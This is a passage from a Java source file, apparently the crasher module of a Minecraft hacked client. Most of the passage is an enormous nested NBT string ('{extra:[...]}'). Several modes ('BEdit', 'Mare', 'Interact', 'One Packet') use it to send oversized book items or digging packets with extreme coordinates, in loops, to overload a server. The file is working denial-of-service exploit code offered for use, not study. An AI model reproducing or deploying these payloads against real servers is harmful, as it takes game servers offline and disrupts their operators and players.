{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                }\n\n                tag.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setByte(\"resolved\", (byte) 1);\n                tag.setTag(\"pages\", list);\n                final ItemStack book = new ItemStack(Items.writable_book);\n                book.setTagCompound(tag);\n                PacketUtil.sendPacket(new C10PacketCreativeInventoryAction(0, book));\n                break;\n            }\n\n            case \"BEdit\": {\n                for (int c = 0; c < 30; c++) {\n                    final NBTTagCompound comp = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n\n                    for (int i = 0; i < 2; i++) {\n                        list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                    }\n\n                    comp.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setByte(\"resolved\", (byte) 1);\n                    comp.setTag(\"pages\", list);\n                    final ItemStack stack = new ItemStack(Items.written_book);\n                    stack.setTagCompound(comp);\n                    final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                    buffer.writeItemStackToBuffer(stack);\n                    PacketUtil.sendPacket(new C17PacketCustomPayload(\"MC|BEdit\", buffer));\n                }\n                break;\n            }\n\n            case \"Mare\": {\n                for (int i = 0; i < packets.getValue(); i++) {\n                    final NBTTagCompound tag = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n                    final StringBuilder value = new StringBuilder().append(\"{\");\n                    final int amount = 833;\n\n                    int i2;\n                    for (i2 = 0; i2 < amount; i2++) {\n                        value.append(\"extra:[{\");\n                    }\n\n                    for (i2 = 0; i2 < amount; i2++) {\n                        value.append(\"text:\\u2F9F}],\");\n                    }\n\n                    value.append(\"text:\\u2F9F}\");\n                    list.appendTag(new NBTTagString(value.toString()));\n                    tag.setTag(\"pages\", list);\n                    final ItemStack book = new ItemStack(Items.writable_book);\n                    book.setTagCompound(tag);\n                    PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), 2, book, 0.0F, 0.0F, 0.0F));\n                }\n                break;\n            }\n\n            case \"Interact\": {\n                for (int i = 0; i < packets.getValue(); i++) {\n                    PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK, new BlockPos(RandomUtils.nextDouble(0, Double.MAX_VALUE), RandomUtils.nextDouble(0, Double.MAX_VALUE), RandomUtils.nextDouble(0, Double.MAX_VALUE)), EnumFacing.UP));\n                }\n                break;\n            }\n\n            case \"One Packet\": {\n                final NBTTagCompound tag = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                for (int i = 0; i < 2; i++) {\n                    list.appendTag(new 